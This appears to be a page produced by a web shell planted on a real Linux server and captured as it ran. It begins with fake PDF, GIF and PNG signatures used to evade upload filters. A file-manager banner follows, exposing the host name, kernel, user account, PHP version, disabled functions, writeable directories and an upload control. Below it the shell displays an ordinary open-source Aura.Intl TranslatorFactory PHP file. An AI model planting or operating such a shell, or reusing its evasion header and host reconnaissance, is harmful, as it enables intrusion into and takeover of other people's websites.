%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/vendor/aura/intl/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/vendor/aura/intl/src/TranslatorFactory.php
<?php
/**
 *
 * This file is part of the Aura Project for PHP.
 *
 * @package Aura.Intl
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 */
namespace Aura\Intl;

/**
 *
 * Factory to create Translator objects.
 *
 * @package Aura.Intl
 *
 */
class TranslatorFactory
{
    /**
     *
     * The class to use for new instances.
     *
     * @var string
     *
     */
    protected $class = Translator::class;

    /**
     *
     * Returns a new Translator.
     *
     * @param string $locale The locale code for the translator.
     *
     * @param Package $package The localized package for the translator.
     *
     * @param FormatterInterface $formatter The formatter to use for
     * interpolating token values.
     *
     * @param TranslatorInterface $fallback A fallback translator to use, if
     * any.
     *
     * @return Translator
     *
     */
    public function newInstance(
        $locale,
        Package $package,
        FormatterInterface $formatter,
        TranslatorInterface $fallback = null
    ) {
        $class = $this->class;
        return new $class($locale, $package, $formatter, $fallback);
    }
}

VaKeR 2022